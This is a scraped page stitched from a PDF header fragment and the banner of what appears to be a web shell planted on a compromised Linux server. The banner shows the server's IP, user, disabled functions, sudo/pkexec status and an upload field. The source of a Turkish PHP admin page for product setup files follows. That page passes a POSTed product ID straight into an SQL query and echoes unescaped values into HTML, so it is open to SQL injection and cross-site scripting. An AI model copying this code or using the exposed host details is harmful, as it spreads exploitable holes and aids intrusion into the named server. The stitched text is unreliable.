%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.24 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/admin/ |
Upload File : |
<?php
include 'lib/include.php';
$certificate_result = $ceha->query("SELECT * FROM tbl_certificate WHERE active='1' ORDER BY sequence");
include 'header.php';
$selectedProductId = 0;
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['selected-product'])) {
$selectedProductId = $_POST['selected-product'];
}
}
$select_category = $ceha->query("SELECT * FROM tbl_product_category WHERE active='1' AND parent_id='0' ORDER BY sequence");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Ürün Kurulum Dosyaları</h4>
<p class="card-description">
Görüntüle
</p>
<form action="" method="post" class="forms-sample">
<div class="form-group">
<label>Kategori Seçimi</label>
<select class="form-control" name="selected-product">
<?php
while ($category = $select_category->fetch_assoc()) {
$select_sub_category = $ceha->query("SELECT * FROM tbl_product_category WHERE active='1' AND parent_id='" . $category['id'] . "' ORDER BY sequence");
while ($sub_category = $select_sub_category->fetch_assoc()) {
$select_product = $ceha->query("SELECT * FROM tbl_product WHERE active='1' AND category_id='" . $sub_category['id'] . "' ORDER BY id");
while ($product = $select_product->fetch_assoc()) {
?>
<option value="<?php echo $product['id']; ?>" <?php echo ($product['id'] == $selectedProductId) ? 'selected' : ''; ?>><?php echo $sub_category['title_tr'] . '---------->>>>' . $product['title_tr']; ?></option>
<?php
}
}
}
?>
</select>
</div>
<button type="submit" class="btn btn-primary mr-2">Görüntüle</button>
</form>
</div>
</div>
</div>
</div>
<?php if ($selectedProductId > 0) : ?>
<div class="table-responsive">
<table class="table">
<thead>
<tr>
<th>Ürün ID</th>
<th>Dosya İsmi</th>
<th>Boyut</th>
<th>Aksiyonlar</th>
</tr>
</thead>
<tbody>
<?php
$sql_pdf = "SELECT * FROM tbl_product_pdf WHERE product_id = $selectedProductId";
$result_pdf = $ceha->query($sql_pdf);
if ($result_pdf->num_rows > 0) {
while ($row_pdf = $result_pdf->fetch_assoc()) {
$fileName = $row_pdf['file_name'];
$fileSize = $row_pdf['file_size'];
$filePath = $row_pdf['file_path'];
?>
<tr>
<td><?php echo $selectedProductId; ?></td>
<td><?php echo $fileName; ?></td>
<td><?php echo $fileSize; ?></td>
<td>
<a href="<?php echo $filePath; ?>" class="btn btn-primary btn-sm" download>İndir</a>
<a href="#" class="btn btn-danger btn-sm" onclick="deletePDF(<?php echo $row_pdf['id']; ?>)">Sil</a>
</td>
</tr>
<?php
}
} else {
echo "<tr><td colspan='3'>PDF dosyası bulunamadı.</td></tr>";
}
?>
</tbody>
</table>
</div>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="fileToUpload">Kurulum Dosyası Ekle</label>
<input type="file" class="form-control-file" id="fileToUpload" name="fileToUpload" required>
</div>
<input type="hidden" name="categoryId" value="<?php echo $categoryId; ?>">
<input type="hidden" name="productId" value="<?php echo $selectedProductId; ?>">
<input type="hidden" name="variationId" value="<?php echo $variationId; ?>">
<button type="submit" class="btn btn-primary">Dosya Yükle</button>
</form>
<?php endif; ?>
</div>
<script>
function deletePDF(pdfID) {
if (confirm("Bu PDF dosyasını silmek istediğinizden emin misiniz?")) {
// Silme işlemi için AJAX isteği gönderme
var xhr = new XMLHttpRequest();
xhr.open("POST", "delete-pdf.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
// Silme işlemi başarıyla tamamlandı
alert("PDF dosyası başarıyla silindi.");
// Sayfayı yenileme veya gerektiğinde güncelleme
window.location.reload();
} else {
// Silme işlemi sırasında bir hata oluştu
alert("PDF dosyası silinirken bir hata oluştu.");
}
}
};
xhr.send("pdfID=" + pdfID); // Silinecek PDF dosyasının ID'sini gönderme
}
}
</script>
</body>
</html>